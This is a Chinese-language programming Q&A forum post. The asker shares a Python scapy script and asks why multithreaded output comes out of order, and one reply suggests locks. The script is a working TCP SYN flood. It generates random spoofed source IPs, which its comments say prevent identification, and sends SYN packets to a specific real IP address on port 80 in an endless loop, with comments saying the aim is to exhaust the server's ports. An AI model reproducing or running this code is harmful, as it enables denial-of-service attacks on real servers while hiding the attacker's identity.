cengtong 2022-01-18 19:44 采纳率: 100%
浏览 21
已结题

python多线程,我让Pool发送网络请求的时候遇到问题

问题遇到的现象和发生背景

我用多线程,让Pool发送网络请求的时候为什么这里会这种情况,理论上是
一个请求一个IP才对

运行结果及报错内容

img

我想要达到的结果

img

我的代码如下:


#!/usr/bin/env python
# -*- coding:UTF-8 -*-

# import scapy
from scapy.all import * #泛洪攻击
import random
# from scapy.all import conf
import time
# import socket,threading
from multiprocessing.dummy import Pool
#伪装IP

def main():
    print("开始执行")
    randomIP()
def randomIP(): #伪造IP,防止对方识别出来

    ip = ''
    for i in range(3): #IP有4段,每次从0-256随机组成
        ip += str(random.randint(0,256))
        ip += '.'
    ip += str(random.randint(0, 256))
    return ip
ippp = []
def ds (ip): # 开始泛洪攻击
    time.sleep(0.1)
    ipadd=IP(src=ip,dst='45.195.251.155')/TCP(sport=80,dport=80,flags='S') #IP()/TCP()必须是大写的scapy.all import *库的作用,src指的是你自己的IP(可以伪造,防止别人找到你),dst是需要访问的IP地址,TCP是主要是放端口
    res=send(ipadd)#携带信息访问,但是不返回数据,让对方的服务器一直等待,从而消耗他的端口
    # res=sr1(ipadd) #携带信息访问,返回数据1个数据包
    print("这个是",ip)
    now = ipadd.show()  # 查看scapy的属性,都有那些参数,方便修改或者写入
    return res

pool = Pool(2)

if __name__ == "__main__":
    while True:
        ippp.append(randomIP())
        ss = pool.map(ds,ippp)
        print(ippp)
        main()

    # main()



  • 写回答

2条回答 默认 最新

  • CSDN专家-黄老师 2022-01-18 23:37
    关注

    多线程执行本来就是无序的,你要有序,只能在线程执行的函数加锁处理

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(1条)

报告相同问题?

问题事件

  • 系统已结题 1月28日
  • 已采纳回答 1月20日
  • 修改了问题 1月18日
  • 修改了问题 1月18日
  • 展开全部

悬赏问题

  • ¥100 求数学坐标画圆以及直线的算法
  • ¥100 c语言,请帮蒟蒻写一个题的范例作参考
  • ¥15 名为“Product”的列已属于此 DataTable
  • ¥15 安卓adb backup备份应用数据失败
  • ¥15 eclipse运行项目时遇到的问题
  • ¥15 关于#c##的问题:最近需要用CAT工具Trados进行一些开发
  • ¥15 南大pa1 小游戏没有界面,并且报了如下错误,尝试过换显卡驱动,但是好像不行
  • ¥15 自己瞎改改,结果现在又运行不了了
  • ¥15 链式存储应该如何解决
  • ¥15 没有证书,nginx怎么反向代理到只能接受https的公网网站